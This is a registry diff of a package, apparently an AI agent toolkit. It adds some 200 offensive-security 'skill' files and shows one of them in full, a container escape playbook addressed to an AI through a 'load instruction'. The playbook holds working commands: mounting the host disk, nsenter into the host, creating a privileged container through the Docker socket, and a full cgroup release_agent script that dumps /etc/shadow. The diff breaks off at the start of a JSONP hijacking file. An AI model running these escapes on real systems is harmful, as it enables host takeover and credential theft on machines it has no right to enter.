ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,339 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: container-escape-techniques
|
|
3
|
+
description: >-
|
|
4
|
+
Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Container Escape Techniques — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) when you first need root inside the container before attempting escape
|
|
16
|
+
- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) for K8s-specific attack paths beyond pod escape
|
|
17
|
+
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when seccomp/AppArmor blocks your escape technique
|
|
18
|
+
|
|
19
|
+
### Advanced Reference
|
|
20
|
+
|
|
21
|
+
Also load [DOCKER_ESCAPE_CHAINS.md](./DOCKER_ESCAPE_CHAINS.md) when you need:
|
|
22
|
+
- Step-by-step escape chains for common misconfigurations
|
|
23
|
+
- Docker-in-Docker escape scenarios
|
|
24
|
+
- Kubernetes-specific escape paths with full command sequences
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. AM I IN A CONTAINER?
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
# Quick checks
|
|
32
|
+
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
|
|
33
|
+
ls -la /.dockerenv 2>/dev/null
|
|
34
|
+
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
|
|
35
|
+
hostname # random hex = likely container
|
|
36
|
+
|
|
37
|
+
# Detailed check
|
|
38
|
+
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
|
|
39
|
+
mount | grep -i "overlay" # overlay filesystem?
|
|
40
|
+
ip addr # veth interface? limited NICs?
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Tools for Container Detection
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# amicontained: shows container runtime, capabilities, seccomp
|
|
47
|
+
./amicontained
|
|
48
|
+
|
|
49
|
+
# deepce: Docker enumeration and exploit suggester
|
|
50
|
+
./deepce.sh
|
|
51
|
+
|
|
52
|
+
# CDK: all-in-one container pentesting toolkit
|
|
53
|
+
./cdk evaluate
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## 2. PRIVILEGED CONTAINER ESCAPE
|
|
59
|
+
|
|
60
|
+
If `--privileged` flag was used, the container has nearly all host capabilities and device access.
|
|
61
|
+
|
|
62
|
+
### 2.1 Mount Host Filesystem
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
# Check if privileged
|
|
66
|
+
cat /proc/self/status | grep CapEff
|
|
67
|
+
# CapEff: 0000003fffffffff = fully privileged
|
|
68
|
+
|
|
69
|
+
# Find host disk
|
|
70
|
+
fdisk -l 2>/dev/null || lsblk
|
|
71
|
+
# Usually /dev/sda1 or /dev/vda1
|
|
72
|
+
|
|
73
|
+
# Mount host root
|
|
74
|
+
mkdir -p /mnt/host
|
|
75
|
+
mount /dev/sda1 /mnt/host
|
|
76
|
+
|
|
77
|
+
# Access host filesystem
|
|
78
|
+
cat /mnt/host/etc/shadow
|
|
79
|
+
chroot /mnt/host bash
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### 2.2 nsenter (Enter Host Namespaces)
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
# From privileged container, enter host PID 1's namespaces
|
|
86
|
+
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|
87
|
+
|
|
88
|
+
# This gives a shell in the host's namespace context
|
|
89
|
+
# Effectively a full host shell
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### 2.3 Privileged + Host PID Namespace
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# If hostPID: true is set (Kubernetes)
|
|
96
|
+
# Access host processes via /proc
|
|
97
|
+
ls /proc/1/root/ # Host root filesystem
|
|
98
|
+
cat /proc/1/root/etc/shadow
|
|
99
|
+
|
|
100
|
+
# Inject into host process
|
|
101
|
+
nsenter --target 1 --mount -- bash
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## 3. CAPABILITY-BASED ESCAPE
|
|
107
|
+
|
|
108
|
+
### 3.1 CAP_SYS_ADMIN — Most Versatile
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
# Check capabilities
|
|
112
|
+
capsh --print 2>/dev/null
|
|
113
|
+
grep CapEff /proc/self/status
|
|
114
|
+
|
|
115
|
+
# Escape via mounting
|
|
116
|
+
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
|
|
117
|
+
# Or mount host filesystem if device access exists
|
|
118
|
+
mount /dev/sda1 /mnt/host 2>/dev/null
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### 3.2 CAP_SYS_PTRACE — Process Injection
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
# Inject shellcode into a host process (requires host PID namespace)
|
|
125
|
+
# Find a root process
|
|
126
|
+
ps aux | grep root
|
|
127
|
+
|
|
128
|
+
# Use gdb or python-ptrace to inject
|
|
129
|
+
python3 << 'EOF'
|
|
130
|
+
import ctypes
|
|
131
|
+
import ctypes.util
|
|
132
|
+
|
|
133
|
+
libc = ctypes.CDLL(ctypes.util.find_library("c"))
|
|
134
|
+
|
|
135
|
+
# Attach to host process, inject shellcode
|
|
136
|
+
# ... (full inject_shellcode implementation)
|
|
137
|
+
EOF
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
### 3.3 CAP_NET_ADMIN
|
|
141
|
+
|
|
142
|
+
```bash
|
|
143
|
+
# Manipulate host network if host network namespace is shared
|
|
144
|
+
# ARP spoofing, route manipulation, traffic interception
|
|
145
|
+
iptables -L # Can see/modify host firewall rules?
|
|
146
|
+
ip route # Can modify routing?
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
### 3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
# open_by_handle_at() bypass — read files from host
|
|
153
|
+
# Compile and run the "shocker" exploit
|
|
154
|
+
# Works when DAC_READ_SEARCH capability is granted
|
|
155
|
+
gcc shocker.c -o shocker
|
|
156
|
+
./shocker /etc/shadow # Read host file
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## 4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)
|
|
162
|
+
|
|
163
|
+
```bash
|
|
164
|
+
ls -la /var/run/docker.sock # Check if mounted
|
|
165
|
+
|
|
166
|
+
# With Docker CLI:
|
|
167
|
+
docker run -v /:/host --privileged -it alpine chroot /host bash
|
|
168
|
+
|
|
169
|
+
# Without CLI (curl only) — create privileged container via API:
|
|
170
|
+
curl -s --unix-socket /var/run/docker.sock \
|
|
171
|
+
-X POST http://localhost/containers/create \
|
|
172
|
+
-H "Content-Type: application/json" \
|
|
173
|
+
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
|
|
174
|
+
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
|
|
175
|
+
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
## 5. CGROUP V1 RELEASE_AGENT ESCAPE
|
|
181
|
+
|
|
182
|
+
Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
|
|
183
|
+
|
|
184
|
+
```bash
|
|
185
|
+
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
|
|
186
|
+
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
|
|
187
|
+
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
188
|
+
echo "$host_path/cmd" > $d/release_agent
|
|
189
|
+
|
|
190
|
+
cat > /cmd << 'EOF'
|
|
191
|
+
#!/bin/sh
|
|
192
|
+
cat /etc/shadow > /output 2>&1 # Or: reverse shell
|
|
193
|
+
EOF
|
|
194
|
+
chmod +x /cmd
|
|
195
|
+
|
|
196
|
+
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
|
|
197
|
+
cat /output
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## 6. CGROUP V2 / eBPF ESCAPE
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
# Cgroup v2: no release_agent file
|
|
206
|
+
# Check cgroup version:
|
|
207
|
+
mount | grep cgroup
|
|
208
|
+
# cgroup2 → v2
|
|
209
|
+
|
|
210
|
+
# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
|
|
211
|
+
# Kernel ≥ 5.8 with unprivileged eBPF enabled
|
|
212
|
+
cat /proc/sys/kernel/unprivileged_bpf_disabled
|
|
213
|
+
# 0 = eBPF available to unprivileged users
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## 7. NAMESPACE ESCAPE
|
|
219
|
+
|
|
220
|
+
### User Namespace
|
|
221
|
+
|
|
222
|
+
```bash
|
|
223
|
+
# If user namespace creation is allowed inside container:
|
|
224
|
+
unshare -U --map-root-user bash
|
|
225
|
+
# Now "root" inside new namespace
|
|
226
|
+
# Combined with other capabilities → mount host filesystem
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### PID Namespace Escape
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# If hostPID: true (shared PID namespace with host)
|
|
233
|
+
# Access host processes directly:
|
|
234
|
+
ls /proc/1/root/ # Host's root filesystem
|
|
235
|
+
cat /proc/1/root/etc/shadow
|
|
236
|
+
|
|
237
|
+
# Inject into host process:
|
|
238
|
+
nsenter -t 1 -m -u -i -n -p -- bash
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## 8. RUNTIME VULNERABILITIES
|
|
244
|
+
|
|
245
|
+
### runc CVE-2019-5736
|
|
246
|
+
|
|
247
|
+
Overwrites host runc binary when `docker exec` is used.
|
|
248
|
+
|
|
249
|
+
```bash
|
|
250
|
+
# Conditions: docker exec into a malicious container triggers exploit
|
|
251
|
+
# The container's /bin/sh is replaced with exploit binary
|
|
252
|
+
# When next exec happens → overwrites /usr/bin/runc on host
|
|
253
|
+
|
|
254
|
+
# PoC: modify entrypoint to overwrite runc
|
|
255
|
+
# This is a one-shot exploit — runc is replaced permanently
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
### containerd CVE-2020-15257
|
|
259
|
+
|
|
260
|
+
```bash
|
|
261
|
+
# Host network namespace shared + containerd < 1.3.9 / 1.4.3
|
|
262
|
+
# Abstract Unix socket accessible from container
|
|
263
|
+
# Connect to containerd shim API via @/containerd-shim/*.sock
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
### cgroups CVE-2022-0492
|
|
267
|
+
|
|
268
|
+
```bash
|
|
269
|
+
# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
|
|
270
|
+
# release_agent writable by unprivileged user in container
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
---
|
|
274
|
+
|
|
275
|
+
## 9. KUBERNETES POD ESCAPE
|
|
276
|
+
|
|
277
|
+
| Dangerous Pod Spec | Escape |
|
|
278
|
+
|---|---|
|
|
279
|
+
| `hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` |
|
|
280
|
+
| `hostNetwork: true` | Access node services (Kubelet, etcd) directly |
|
|
281
|
+
| `hostPath: {path: /}` | `chroot /host bash` |
|
|
282
|
+
| `privileged: true` | Mount host disk / nsenter |
|
|
283
|
+
| SA token with RBAC | Create new privileged pod via API |
|
|
284
|
+
|
|
285
|
+
See [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) for full K8s attack paths.
|
|
286
|
+
|
|
287
|
+
---
|
|
288
|
+
|
|
289
|
+
## 10. TOOLS
|
|
290
|
+
|
|
291
|
+
| Tool | Purpose | URL/Command |
|
|
292
|
+
|---|---|---|
|
|
293
|
+
| **deepce** | Docker enumeration + exploit suggestions | `./deepce.sh` |
|
|
294
|
+
| **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` |
|
|
295
|
+
| **amicontained** | Show container runtime, caps, seccomp | `./amicontained` |
|
|
296
|
+
| **PEIRATES** | Kubernetes penetration testing | `./peirates` |
|
|
297
|
+
| **BOtB** | Break out the Box — auto-escape | `./botb -autopwn` |
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## 11. CONTAINER ESCAPE DECISION TREE
|
|
302
|
+
|
|
303
|
+
```
|
|
304
|
+
Inside a container?
|
|
305
|
+
│
|
|
306
|
+
├── Privileged mode? (CapEff = 0000003fffffffff)
|
|
307
|
+
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
|
|
308
|
+
│ └── Partial capabilities? Check each:
|
|
309
|
+
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
|
|
310
|
+
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
|
|
311
|
+
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
|
|
312
|
+
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
|
|
313
|
+
│
|
|
314
|
+
├── Docker socket mounted? (/var/run/docker.sock)
|
|
315
|
+
│ └── Yes → create privileged container (§4)
|
|
316
|
+
│
|
|
317
|
+
├── Host PID namespace shared?
|
|
318
|
+
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
|
|
319
|
+
│
|
|
320
|
+
├── Cgroup v1?
|
|
321
|
+
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
|
|
322
|
+
│
|
|
323
|
+
├── Runtime vulnerable?
|
|
324
|
+
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
|
|
325
|
+
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
|
|
326
|
+
│
|
|
327
|
+
├── Kernel vulnerable?
|
|
328
|
+
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
|
|
329
|
+
│
|
|
330
|
+
├── Kubernetes pod?
|
|
331
|
+
│ ├── Service account with elevated RBAC? → create escape pod (§9)
|
|
332
|
+
│ └── hostPath volume? → access host filesystem
|
|
333
|
+
│
|
|
334
|
+
└── None of the above?
|
|
335
|
+
├── Run deepce/CDK for automated detection
|
|
336
|
+
├── Check for writable host mount points
|
|
337
|
+
├── Enumerate network for other containers/services
|
|
338
|
+
└── Check /proc/self/mountinfo for interesting mounts
|
|
339
|
+
```
|
|
@@ -0,0 +1,152 @@
|
|
|
1
|
+
# CORS Misconfiguration — Extended Scenarios
|
|
2
|
+
|
|
3
|
+
> Companion to [SKILL.md](./SKILL.md). Contains JSONP hijacking, same-origin policy deep dive, and real-world exploitation patterns.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. JSONP Hijacking — Complete Attack Scenario
|
|
8
|
+
|
|
9
|
+
### Mechanism
|
|
10
|
+
|
|
11
|
+
JSONP (JSON with Padding) wraps JSON data in a function call, enabling cross-origin data access via `<script>` tags. If the JSONP endpoint returns sensitive data and doesn't validate the Referer/Origin:
|
|
12
|
+
|
|
13
|
+
```html
|
|
14
|
+
<!-- Attacker's page: -->
|
|
15
